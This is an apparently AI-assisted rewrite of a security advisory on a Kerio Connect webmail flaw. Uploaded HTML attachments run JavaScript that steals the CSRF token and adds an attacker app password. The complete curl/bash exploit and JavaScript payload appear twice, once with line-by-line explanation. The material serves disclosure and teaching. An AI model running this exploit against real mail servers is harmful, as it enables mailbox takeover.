Skip to content
XSS Write-up Intermediate

SSD ADVISORY – KERIO MAILBOX TAKEOVER

Kerio Connect allows uploading HTML files that are served from the server, and an attacker can send an email linking to such a file. When the victim opens the link, the JavaScript runs in the context of the webmail and can take over the mailbox.

ssd-disclosure.com

Published on ssd-disclosure.com

By exploiting file upload functionality users are able to upload .html type of files, containing arbitrary JavaScript code, the file is then saved within server. An attacker would then compose and send an email containing URL to said malicious to the victim.

SSD Secure Disclosure technical team, on ssd-disclosure.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 9 min read.

Context

Kerio Connect is a mail server with a webmail interface. This advisory covers a vulnerability in the way Kerio Connect processes HTML attachments. The webmail lets users upload files as attachments, and the upload path accepts .html files containing arbitrary JavaScript. The file is saved on the server, and an attacker can then compose and send an email containing a URL to that file to a victim.

When the victim opens the message and follows the link, the JavaScript runs in the context of the webmail origin. From there the attacker can inject arbitrary JavaScript into the message the user is viewing, which in turn can allow an attacker to take full control over the mailbox. Running JavaScript can be used to fully take over the victim mailbox: it is possible to read and send emails as well as change user settings. As a proof of concept, the malicious JavaScript adds an arbitrary third party app password to the user account, which could then be used to access and manage the victim mailbox persistently.

The advisory credits Jokūbas Arsoba. The vendor was notified on 17 January 2023 but provided no indication whether or not the issue was getting fixed or addressed. The affected devices section of the advisory is empty.

Setup

The exploit script targets a Kerio Connect instance reachable at a local address, with a webmail login at /webmail/login/ and the JSON-RPC API under /webmail/api/jsonrpc/. The script uses two accounts:

  • An attacker account, with username aaaa and password 734d51Mc6 in the domain 0wn.lt.
  • A victim account, [redacted], addressed as Administrator in the generated message.

The tooling is curl and bash, with the script parsing cookies and JSON fields out of the responses. The user agent string sent throughout is Chrome 108 on Windows. No product version is given in the advisory.

Finding it

The file upload functionality accepts .html type files containing arbitrary JavaScript, and the uploaded file is saved within the server. The uploaded file is saved on the server, and a link to it in an email gives the attacker a way to run script in the victim's webmail session. The advisory frames this as a vulnerability in the way Kerio Connect processes HTML attachments: the attachment is rendered in a way that lets an attacker inject arbitrary JavaScript into the message the user is viewing.

Exploitation

The script performs four steps: log in as the attacker, upload the malicious HTML file, build a download URL for it, and send a message to the victim containing that URL.

Step 1: Log in and collect the session cookie and CSRF token

Bash
#!/bin/bash

# SETUP
url="http://[redacted]:8800"
username="aaaa"
password="734d51Mc6"
domain="0wn.lt"
victim="admin@$domain"

# LOGIN
echo "LOGGING IN..."
data="kerio_username=$username&kerio_password=$password"
response=$(curl -i -s -k -X POST \
    -H "Host: $url" \
    -H "Cache-Control: max-age=0" \
    -H "Upgrade-Insecure-Requests: 1" \
    -H "Origin: $url" \
    -H "Content-Type: application/x-www-form-urlencoded" \
    -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36" \
    -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9" \
    -H "Referer: $url/webmail/login/" \
    -H "Accept-Encoding: gzip, deflate" \
    -H "Accept-Language: en-US,en;q=0.9" \
    -H "Connection: close" \
    --data-binary "$data" \
    -D - \
    "$url/webmail/login/dologin")

cookies=$(echo "$response" | grep "^Set-Cookie:" | awk '{print $2}' | sort -u)
csrftoken=$(echo "$cookies" | grep "TOKEN_CONNECT_WEBMAIL" | awk -F ';' '{print $1}' | awk -F '=' '{print $2}')
echo "COOKIES ARE... $cookies"

The login is a form POST to /webmail/login/dologin with kerio_username and kerio_password as application/x-www-form-urlencoded fields. The script keeps the response headers (-D -) and extracts every Set-Cookie value. From those cookies it pulls the TOKEN_CONNECT_WEBMAIL value, which is used later as the X-Token header on the API calls. That token is the CSRF token for the webmail session.

Step 2: Upload the HTML attachment

Bash
echo "UPLOADING FILE..."
response2=$(curl -i -s -k -X $'POST' \
    -H $'Host: $url'  -H $'Accept: application/json-rpc' -H "X-Token: $csrftoken" -H $'X-Requested-With: XMLHttpRequest' -H $'Content-Description: =?UTF-8?Q?kerio.html?=' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36' -H $'Content-Type: text/html' -H "$url" -H "Referer: $url/webmail/" -H $'Accept-Encoding: gzip, deflate' -H $'Accept-Language: en-US,en;q=0.9' -H $'Connection: close' \
    -b "$cookies" \
  --data-binary $'<script>\x0d\x0a  function displayResponse() {\x0d\x0a    \x0d\x0a    var cookieValue = null;\x0d\x0a\x0d\x0a    // Get the value of the TOKEN_CONNECT_WEBMAIL cookie\x0d\x0a    var cookieName = \"TOKEN_CONNECT_WEBMAIL=\";\x0d\x0a    var cookieArray = document.cookie.split(\';\');\x0d\x0a\x0d\x0a    for(var i = 0; i < cookieArray.length; i++) {\x0d\x0a      var cookie = cookieArray[i];\x0d\x0a      while (cookie.charAt(0) == \' \') {\x0d\x0a        cookie = cookie.substring(1);\x0d\x0a      }\x0d\x0a      if (cookie.indexOf(cookieName) == 0) {\x0d\x0a        cookieValue = cookie.substring(cookieName.length, cookie.length);\x0d\x0a      }\x0d\x0a    }\x0d\x0a    \x0d\x0a    // Perform CSRF using stolen Cookies\x0d\x0a    fetch(\'/webmail/api/jsonrpc/\', {\x0d\x0a      method: \'POST\',\x0d\x0a      headers: {\x0d\x0a        \'Content-Type\': \'text/plain\',\x0d\x0a        \'X-Token\': cookieValue,\x0d\x0a        \'Connection\': \'close\',\x0d\x0a      },\x0d\x0a      body: JSON.stringify({\x0d\x0a        \"jsonrpc\":\"2.0\",\x0d\x0a    \"id\":17,\x0d\x0a    \"method\":\"Session.setAppPasswords\",\x0d\x0a    \"params\":{\"appPasswords\":[{\"description\":\"ezpass\",\"password\":\"ezpassword\",\"creationDate\":0}]}\\x0d\x0a  }),\x0d\x0a    })\\x0d\x0a      .then(response => {\x0d\x0a        return response.text();\x0d\x0a      })\\x0d\x0a      .then(responseText => {\x0d\x0a        alert(responseText);\x0d\x0a      })\\x0d\x0a      .catch(error => {\x0d\x0a        alert(error);\x0d\x0a      });\x0d\x0a\x0d\x0a    return false;\x0d\x0a  }\x0d\x0a\x0d\x0a  window.onload = displayResponse;\x0d\x0a</script>\x0d\x0a' \
    "$url/webmail/api/jsonrpc/attachment-upload"

The upload goes to /webmail/api/jsonrpc/attachment-upload with the session cookies and the X-Token CSRF token. The Content-Description header carries the filename kerio.html as an RFC 2047 encoded word, and the body is the HTML file itself, sent with Content-Type: text/html. The body is a single <script> block whose window.onload handler runs displayResponse.

That function reads the TOKEN_CONNECT_WEBMAIL cookie out of document.cookie, then issues a fetch POST to /webmail/api/jsonrpc/ with Content-Type: text/plain and the stolen token in the X-Token header. The JSON-RPC body calls Session.setAppPasswords with one entry: description ezpass, password ezpassword, creation date 0. The response text, or any error, is shown in an alert. In other words, the script uses the victim's own session and CSRF token to add an app password to the victim's account.

Step 3: Derive the download URL

Bash
file_id=$(echo $response2 | awk -F'"id":' '{print $3}' | awk -F',' '{print $1}')
file_name=$(echo $response2 | awk -F'"name":' '{print $2}' | awk -F',' '{print $1}')
file_url="$url/webmail/api/download/tmp/$file_id/file_name"
file_url=$(echo "$file_url" | tr -d '"')

The upload response is parsed for the attachment id and name, and the script builds a download URL of the form /webmail/api/download/tmp/<id>/file_name. That URL is what the victim will be asked to click.

Step 4: Send the message to the victim

Bash
echo "SENDING MESSAGE..."
curl -s -k -X $'POST' \
    -H $'Host: $url'  -H $'X-Requested-With: XMLHttpRequest' -H "X-Token: $csrftoken" -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36' -H $'Content-Type: application/json' -H $'Accept: */*' -H "Origin: $url" -H "Referer: $url/webmail/" -H $'Accept-Encoding: gzip, deflate' -H $'Accept-Language: en-US,en;q=0.9' -H $'Connection: open' \
    -b "$cookies" \
  --data-binary "{\"jsonrpc\":\"2.0\",\"id\":21,\"method\":\"Mails.create\",\"params\":{\"mails\":[{\"send\":true,\"showExternal\":false,\"subject\":\"XSS Message\",\"notificationTo\":{},\"isMDNSent\":true,\"requestDSN\":false,\"from\":{\"address\":\"$username@0wn\",\"name\":\"aaa\"},\"sender\":{},\"encrypt\":false,\"sign\":false,\"priority\":\"Normal\",\"isAnswered\":false,\"isForwarded\":false,\"isJunk\":false,\"isFlagged\":false,\"isSeen\":true,\"isDraft\":true,\"isReadOnly\":false,\"attachments\":[],\"headers\":[],\"displayableParts\":[{\"contentType\":\"ctTextHtml\",\"content\":\"<html><head></head><body><a href=\\\""$file_url"\\\" title=\\\"Click to open the message\\\" target=\\\"_blank\\\" style=\\\"box-sizing: content-box; font-size: 48px;\\\">Click to open the message</a></body></html>\"}],\"bcc\":[],\"cc\":[],\"to\":[{\"name\":\"Administrator\",\"address\":\"admin@$domain\",\"contactId\":\"\"}],\"replyTo\":[]}]}}" \
    "$url/webmail/api/jsonrpc/"

echo "DONE! Check victim inbox..."

This is a JSON-RPC call to /webmail/api/jsonrpc/ using the Mails.create method with send: true. The message has subject XSS Message, is sent from aaaa@0wn with display name aaa, and is addressed to Administrator <[redacted]>. The HTML body is a single anchor whose href is the download URL from step 3, with the link text Click to open the message. When the victim opens the message and clicks the link, the uploaded HTML's script runs with the victim's session, adding the ezpass app password.

Root cause

The upload functionality accepts .html files containing arbitrary JavaScript and stores them on the server, and a link to the stored file lets the script run in the victim's webmail session. The advisory describes this as a flaw in the way Kerio Connect processes HTML attachments: the attachment content is rendered such that an attacker can inject arbitrary JavaScript into the message the user is viewing. Because the script runs with the victim's cookies, it can read the TOKEN_CONNECT_WEBMAIL CSRF token and use it to call the JSON-RPC API as the victim, so the CSRF token does not stop the attack. The advisory does not describe the server-side code or the exact rendering path, so the precise mechanism is not stated.

Impact

An attacker who can get a victim to open the crafted message and follow the link can take full control over the victim's mailbox: read and send emails and change user settings. The proof of concept shows persistent access by adding a third party app password (ezpass / ezpassword) to the victim account, which could then be used to access and manage the victim mailbox persistently. The advisory does not describe any precondition beyond the victim receiving the message.

Fix

The advisory does not state that a fix was made. The vendor was notified on 17 January 2023 but provided no indication whether or not the issue was getting fixed or addressed, so no remediation is described.

Variants to test

  • Upload other active content types (SVG, XHTML) through the same attachment upload endpoint and check whether the download URL serves them with a type that executes script in the webmail origin. A positive result is the browser running script from the download URL.
  • Check whether the download URL requires authentication or a session. If it is reachable without the victim's cookies, the payload can be hosted and triggered more broadly.
  • Try the same JSON-RPC calls (Session.setAppPasswords, Mails.create) with the X-Token header omitted or replaced. If they succeed, the CSRF token is not actually enforced and the script does not need to read the cookie.
  • Test whether the Content-Description filename is reflected into the download path or response headers. A positive result is the filename appearing unescaped in a header or in the served URL.
  • Send the crafted message to accounts in other domains and check whether the link is rewritten or blocked. If it is not, the same delivery path works across domains.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 16 min read.

What happened, in plain words

Kerio Connect is a mail server: software that receives, stores and sends email for an organisation. It also ships with webmail, a website where people log in with a browser to read and write their mail instead of using a desktop program. This advisory is about a flaw in the way that webmail handles HTML attachments.

An attachment is a file you add to an email, such as a photo or a document. HTML is the language web pages are written in, and a browser will happily run any JavaScript (small programs embedded in a web page) that it finds inside an HTML file. The webmail's upload feature accepted .html files containing arbitrary JavaScript and saved them on the server. An attacker could then write an email containing a link to that saved file and send it to a victim.

When the victim opens the message and clicks the link, the browser runs the file's JavaScript in the victim's webmail session. From there the attacker can inject arbitrary JavaScript into the message the user is viewing, which in turn can allow an attacker to take full control over the mailbox. Running JavaScript can be used to fully take over the victim mailbox: it is possible to read and send emails as well as change user settings. As a proof of concept, the malicious JavaScript adds an arbitrary third party app password to the user account, which could then be used to access and manage the victim mailbox persistently.

The advisory credits Jokūbas Arsoba. The vendor was notified on 17 January 2023 but provided no indication whether or not the issue was getting fixed or addressed. The affected devices section of the advisory is empty.

The pieces you need to know

Before walking through the exploit, here are the ideas it relies on, in everyday terms.

  • Mail server and webmail: a mail server is the post office; webmail is the counter where you collect and post your letters through a browser. Kerio Connect provides both.
  • API: an API is a way for one program to talk to another, like a waiter taking your order to the kitchen. The webmail page you see in the browser is one customer of the API; the exploit script is another.
  • JSON-RPC: a convention for API calls where the request is a small JSON (structured text) document naming a method and its parameters, and the reply is another JSON document. Think of it as a standard order form: method name, arguments, and an ID so the reply can be matched to the request.
  • Cookie: a small piece of text a website asks your browser to store and send back on every later request, so the site can recognise you. It is like a cloakroom ticket: whoever holds it gets the coat.
  • Session: the logged-in state tied to those cookies. If someone else gets your session cookie, the server treats them as you.
  • CSRF token: a secret value the site puts in a page or cookie and expects to see again on state-changing requests, to prove the request really came from the site's own pages and not from a malicious page elsewhere. CSRF stands for Cross-Site Request Forgery. The token here is called TOKEN_CONNECT_WEBMAIL.
  • XSS: Cross-Site Scripting, a class of bug where an attacker gets their JavaScript to run inside a site's own pages, in the browser of another user. The browser cannot tell the difference between the site's script and the attacker's, so the attacker's code inherits the user's session.
  • App password: a separate password, created inside an account, that a mail program can use to log in without the main password. It is like a spare key cut for a cleaner: it opens the door and can be copied, and it keeps working until someone revokes it.
  • curl: a command-line tool for sending HTTP requests, the same requests a browser sends, but scriptable.
  • bash: the Unix shell, a scripting language for running commands in sequence.

Setup

The exploit script targets a Kerio Connect instance reachable at a local address, with a webmail login at /webmail/login/ and the JSON-RPC API under /webmail/api/jsonrpc/. The script uses two accounts:

  • An attacker account, with username aaaa and password 734d51Mc6 in the domain 0wn.lt.
  • A victim account, [redacted], addressed as Administrator in the generated message.

The tooling is curl and bash, with the script parsing cookies and JSON fields out of the responses. The user agent string sent throughout is Chrome 108 on Windows. No product version is given in the advisory.

Finding it

The file upload functionality accepts .html type files containing arbitrary JavaScript, and the uploaded file is saved within the server. Because the file is served back from the webmail origin, a link to it in an email gives the attacker a way to execute script in the victim's webmail session. The advisory frames this as a vulnerability in the way Kerio Connect processes HTML attachments: the attachment is rendered in a way that lets an attacker inject arbitrary JavaScript into the message the user is viewing.

Exploitation

The script performs four steps: log in as the attacker, upload the malicious HTML file, build a download URL for it, and send a message to the victim containing that URL.

Step 1: Log in and collect the session cookie and CSRF token

Bash
#!/bin/bash

# SETUP
url="http://[redacted]:8800"
username="aaaa"
password="734d51Mc6"
domain="0wn.lt"
victim="admin@$domain"

# LOGIN
echo "LOGGING IN..."
data="kerio_username=$username&kerio_password=$password"
response=$(curl -i -s -k -X POST \
    -H "Host: $url" \
    -H "Cache-Control: max-age=0" \
    -H "Upgrade-Insecure-Requests: 1" \
    -H "Origin: $url" \
    -H "Content-Type: application/x-www-form-urlencoded" \
    -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36" \
    -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9" \
    -H "Referer: $url/webmail/login/" \
    -H "Accept-Encoding: gzip, deflate" \
    -H "Accept-Language: en-US,en;q=0.9" \
    -H "Connection: close" \
    --data-binary "$data" \
    -D - \
    "$url/webmail/login/dologin")

cookies=$(echo "$response" | grep "^Set-Cookie:" | awk '{print $2}' | sort -u)
csrftoken=$(echo "$cookies" | grep "TOKEN_CONNECT_WEBMAIL" | awk -F ';' '{print $1}' | awk -F '=' '{print $2}')
echo "COOKIES ARE... $cookies"

Line by line:

  1. #!/bin/bash tells the operating system to run the file with bash.
  2. The url, username, password, domain and victim variables hold the target address and the attacker's credentials. victim is built by gluing admin@ to the domain, giving [redacted].
  3. data builds the login form body: two fields, kerio_username and kerio_password, joined with &, exactly as a browser would send a filled-in login form.
  4. The curl call sends a POST request to /webmail/login/dologin. -i asks curl to include the response headers in the output, -s silences progress output, -k skips certificate checks, and -D - prints the response headers to standard output. The -H lines set request headers: Host, Origin, Referer and User-Agent make the request look like it came from the webmail login page in Chrome, and Content-Type: application/x-www-form-urlencoded says the body is a form. --data-binary "$data" attaches the form body.
  5. cookies takes the saved response, keeps only lines starting with Set-Cookie:, keeps the second whitespace-separated field of each (the cookie itself), and removes duplicates. Those are the cookies the server handed out on login.
  6. csrftoken searches those cookies for TOKEN_CONNECT_WEBMAIL, cuts everything after the first ;, then takes the part after =. That is the CSRF token value.
  7. The final echo prints the cookies so the operator can see what was collected.

Why this step: every later API call must be made as the logged-in attacker, so the script first obtains the session cookies and the CSRF token that the server will demand alongside them. The token is used later as the X-Token header on the API calls.

Step 2: Upload the HTML attachment

Bash
echo "UPLOADING FILE..."
response2=$(curl -i -s -k -X $'POST' \
    -H $'Host: $url'  -H $'Accept: application/json-rpc' -H "X-Token: $csrftoken" -H $'X-Requested-With: XMLHttpRequest' -H $'Content-Description: =?UTF-8?Q?kerio.html?=' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36' -H $'Content-Type: text/html' -H "$url" -H "Referer: $url/webmail/" -H $'Accept-Encoding: gzip, deflate' -H $'Accept-Language: en-US,en;q=0.9' -H $'Connection: close' \
    -b "$cookies" \
  --data-binary $'<script>\x0d\x0a  function displayResponse() {\x0d\x0a    \x0d\x0a    var cookieValue = null;\x0d\x0a\x0d\x0a    // Get the value of the TOKEN_CONNECT_WEBMAIL cookie\x0d\x0a    var cookieName = \"TOKEN_CONNECT_WEBMAIL=\";\x0d\x0a    var cookieArray = document.cookie.split(\';\');\x0d\x0a\x0d\x0a    for(var i = 0; i < cookieArray.length; i++) {\x0d\x0a      var cookie = cookieArray[i];\x0d\x0a      while (cookie.charAt(0) == \' \') {\x0d\x0a        cookie = cookie.substring(1);\x0d\x0a      }\x0d\x0a      if (cookie.indexOf(cookieName) == 0) {\x0d\x0a        cookieValue = cookie.substring(cookieName.length, cookie.length);\x0d\x0a      }\x0d\x0a    }\x0d\x0a    \x0d\x0a    // Perform CSRF using stolen Cookies\x0d\x0a    fetch(\'/webmail/api/jsonrpc/\', {\x0d\x0a      method: \'POST\',\x0d\x0a      headers: {\x0d\x0a        \'Content-Type\': \'text/plain\',\x0d\x0a        \'X-Token\': cookieValue,\x0d\x0a        \'Connection\': \'close\',\x0d\x0a      },\x0d\x0a      body: JSON.stringify({\x0d\x0a        \"jsonrpc\":\"2.0\",\x0d\x0a    \"id\":17,\x0d\x0a    \"method\":\"Session.setAppPasswords\",\x0d\x0a    \"params\":{\"appPasswords\":[{\"description\":\"ezpass\",\"password\":\"ezpassword\",\"creationDate\":0}]}\x0d\x0a  }),\x0d\x0a    })\x0d\x0a      .then(response => {\x0d\x0a        return response.text();\x0d\x0a      })\x0d\x0a      .then(responseText => {\x0d\x0a        alert(responseText);\x0d\x0a      })\x0d\x0a      .catch(error => {\x0d\x0a        alert(error);\x0d\x0a      });\x0d\x0a\x0d\x0a    return false;\x0d\x0a  }\x0d\x0a\x0d\x0a  window.onload = displayResponse;\x0d\x0a</script>\x0d\x0a' \
    "$url/webmail/api/jsonrpc/attachment-upload"

Line by line:

  1. The curl call posts to /webmail/api/jsonrpc/attachment-upload, the API endpoint that accepts attachments.
  2. -b "$cookies" sends the cookies collected in step 1, so the server sees the attacker's logged-in session.
  3. -H "X-Token: $csrftoken" sends the CSRF token in the header the API expects.
  4. -H $'Content-Description: =?UTF-8?Q?kerio.html?=' sets the filename. The =?UTF-8?Q?...?= form is an RFC 2047 encoded word, a standard way to write a filename in a header; decoded, it is kerio.html.
  5. -H $'Content-Type: text/html' declares the body as HTML.
  6. --data-binary sends the file body. The body is a single <script> block. The \x0d\x0a sequences are carriage return and line feed, so the file has normal line breaks.
  7. Inside the script, window.onload = displayResponse; means the browser runs displayResponse once the page has loaded.
  8. displayResponse reads document.cookie, splits it on ;, trims leading spaces, and looks for the entry starting with TOKEN_CONNECT_WEBMAIL=. It keeps the part after the =. That is the victim's CSRF token, read from the victim's own browser.
  9. It then calls fetch('/webmail/api/jsonrpc/', ...), a browser function for making HTTP requests from JavaScript. The request is a POST with Content-Type: text/plain and the stolen token in the X-Token header.
  10. The body is a JSON-RPC request: "method":"Session.setAppPasswords" with one app password, description ezpass, password ezpassword, creation date 0. In plain terms, it asks the server to create a spare key for the account.
  11. .then(...) handles the reply: the response text is shown in an alert popup, and any error is shown the same way. The alert is only for the proof of concept, so the researcher can see whether the call worked.
  12. return false; stops any default browser behaviour for the event.

Why this step: the attacker needs a file on the server that the victim's browser will later load and execute. The upload endpoint accepts it, and the file is stored on the server. The script inside reads the TOKEN_CONNECT_WEBMAIL cookie at the moment it runs.

Step 3: Derive the download URL

Bash
file_id=$(echo $response2 | awk -F'"id":' '{print $3}' | awk -F',' '{print $1}')
file_name=$(echo $response2 | awk -F'"name":' '{print $2}' | awk -F',' '{print $1}')
file_url="$url/webmail/api/download/tmp/$file_id/file_name"
file_url=$(echo "$file_url" | tr -d '"')

Line by line:

  1. file_id takes the upload response, splits it on "id":, keeps the third piece, then splits that on , and keeps the first piece. That is the attachment's identifier in the JSON reply.
  2. file_name does the same with "name": to pull out the attachment's name.
  3. file_url assembles a download address of the form /webmail/api/download/tmp/<id>/file_name.
  4. The last line strips any double quotes left over from the JSON, so the URL is clean.

Why this step: the victim must be given a link that points at the uploaded file. The server's reply to the upload tells the script where the file lives, and the script turns that into a URL.

Step 4: Send the message to the victim

Bash
echo "SENDING MESSAGE..."
curl -s -k -X $'POST' \
    -H $'Host: $url'  -H $'X-Requested-With: XMLHttpRequest' -H "X-Token: $csrftoken" -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36' -H $'Content-Type: application/json' -H $'Accept: */*' -H "Origin: $url" -H "Referer: $url/webmail/" -H $'Accept-Encoding: gzip, deflate' -H $'Accept-Language: en-US,en;q=0.9' -H $'Connection: open' \
    -b "$cookies" \
  --data-binary "{\"jsonrpc\":\"2.0\",\"id\":21,\"method\":\"Mails.create\",\"params\":{\"mails\":[{\"send\":true,\"showExternal\":false,\"subject\":\"XSS Message\",\"notificationTo\":{},\"isMDNSent\":true,\"requestDSN\":false,\"from\":{\"address\":\"$username@0wn\",\"name\":\"aaa\"},\"sender\":{},\"encrypt\":false,\"sign\":false,\"priority\":\"Normal\",\"isAnswered\":false,\"isForwarded\":false,\"isJunk\":false,\"isFlagged\":false,\"isSeen\":true,\"isDraft\":true,\"isReadOnly\":false,\"attachments\":[],\"headers\":[],\"displayableParts\":[{\"contentType\":\"ctTextHtml\",\"content\":\"<html><head></head><body><a href=\\\""$file_url"\\\" title=\\\"Click to open the message\\\" target=\\\"_blank\\\" style=\\\"box-sizing: content-box; font-size: 48px;\\\">Click to open the message</a></body></html>\"}],\"bcc\":[],\"cc\":[],\"to\":[{\"name\":\"Administrator\",\"address\":\"admin@$domain\",\"contactId\":\"\"}],\"replyTo\":[]}]}}" \
    "$url/webmail/api/jsonrpc/"

echo "DONE! Check victim inbox..."

Line by line:

  1. The curl call posts to /webmail/api/jsonrpc/, the same API endpoint used for the app password call, but this time with the Mails.create method.
  2. -b "$cookies" and -H "X-Token: $csrftoken" again authenticate the call as the attacker and satisfy the CSRF check.
  3. -H $'Content-Type: application/json' says the body is JSON.
  4. The body is a JSON-RPC request with "method":"Mails.create" and "send":true, meaning create the message and send it immediately.
  5. The message fields: subject XSS Message; sender address aaaa@0wn with display name aaa; recipient Administrator at [redacted]; empty cc, bcc and replyTo lists; no attachments.
  6. displayableParts holds the body. Its contentType is ctTextHtml, meaning HTML, and its content is a single link (<a>) whose href is the download URL from step 3. The link text is Click to open the message, and target="_blank" makes it open in a new tab.
  7. The final echo just tells the operator the script finished.

Why this step: the uploaded file does nothing on its own. The victim has to be led to it. A normal-looking email with a link is the delivery mechanism, and the link points at the attacker's file on the webmail server.

When the victim opens the message and clicks the link, the uploaded HTML's script runs with the victim's session, adding the ezpass app password.

Root cause

The upload functionality accepts .html files containing arbitrary JavaScript and stores them on the server, and a link to the stored file lets the script run in the victim's webmail session. The advisory describes this as a flaw in the way Kerio Connect processes HTML attachments: the attachment content is rendered such that an attacker can inject arbitrary JavaScript into the message the user is viewing. Because the script runs with the victim's cookies, it can read the TOKEN_CONNECT_WEBMAIL CSRF token and use it to call the JSON-RPC API as the victim, so the CSRF token does not stop the attack. The advisory does not describe the server-side code or the exact rendering path, so the precise mechanism is not stated.

Impact

An attacker who can get a victim to open the crafted message and follow the link can take full control over the victim's mailbox: read and send emails and change user settings. The proof of concept shows persistent access by adding a third party app password (ezpass / ezpassword) to the victim account, which could then be used to access and manage the victim mailbox persistently. The advisory does not describe any precondition beyond the victim receiving the message.

Fix

The advisory does not state that a fix was made. The vendor was notified on 17 January 2023 but provided no indication whether or not the issue was getting fixed or addressed, so no remediation is described.

Variants to test

  • Upload other active content types (SVG, XHTML) through the same attachment upload endpoint and check whether the download URL serves them with a type that executes script in the webmail origin. A positive result is the browser running script from the download URL.
  • Check whether the download URL requires authentication or a session. If it is reachable without the victim's cookies, the payload can be hosted and triggered more broadly.
  • Try the same JSON-RPC calls (Session.setAppPasswords, Mails.create) with the X-Token header omitted or replaced. If they succeed, the CSRF token is not actually enforced and the script does not need to read the cookie.
  • Test whether the Content-Description filename is reflected into the download path or response headers. A positive result is the filename appearing unescaped in a header or in the served URL.
  • Send the crafted message to accounts in other domains and check whether the link is rewritten or blocked. If it is not, the same delivery path works across domains.

Glossary

  • API: a defined way for one program to send requests to another and get answers back.
  • App password: a separate password created inside an account so a mail program can log in without the main password; it keeps working until revoked.
  • Attachment: a file added to an email alongside the message text.
  • bash: a command-line shell and scripting language on Unix-like systems.
  • Cookie: a small value a site asks the browser to store and send back on later requests, used to recognise the user.
  • CSRF (Cross-Site Request Forgery): tricking a logged-in user's browser into sending a state-changing request to a site the user trusts.
  • CSRF token: a secret value a site expects on state-changing requests to prove they came from its own pages.
  • curl: a command-line tool for sending HTTP requests.
  • HTML: the language web pages are written in; browsers render it and run any JavaScript it contains.
  • HTTP header: a named field sent with a request or response, carrying metadata such as content type or cookies.
  • JavaScript: the programming language browsers run inside web pages.
  • JSON: a text format for structured data, made of objects, lists, strings and numbers.
  • JSON-RPC: a convention for API calls where requests and replies are JSON documents naming a method and its parameters.
  • Kerio Connect: a mail server product that includes a webmail interface.
  • Mail server: software that receives, stores and sends email.
  • Origin: the combination of scheme, host and port that a browser uses to decide which pages may access which resources; script from one origin should not run with another origin's privileges.
  • POST: an HTTP method used to send data to a server, such as a form submission.
  • RFC 2047 encoded word: a standard way to write non-ASCII or special text, such as a filename, inside an email header.
  • Session: the logged-in state a server associates with a user's cookies.
  • SVG: an XML-based image format that can contain script.
  • User agent: the header a browser sends to identify itself and its version.
  • Webmail: a website for reading and sending email through a browser.
  • XSS (Cross-Site Scripting): a bug where an attacker's JavaScript runs inside a site's pages in another user's browser, inheriting that user's session.
  • XHTML: an XML-based version of HTML.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.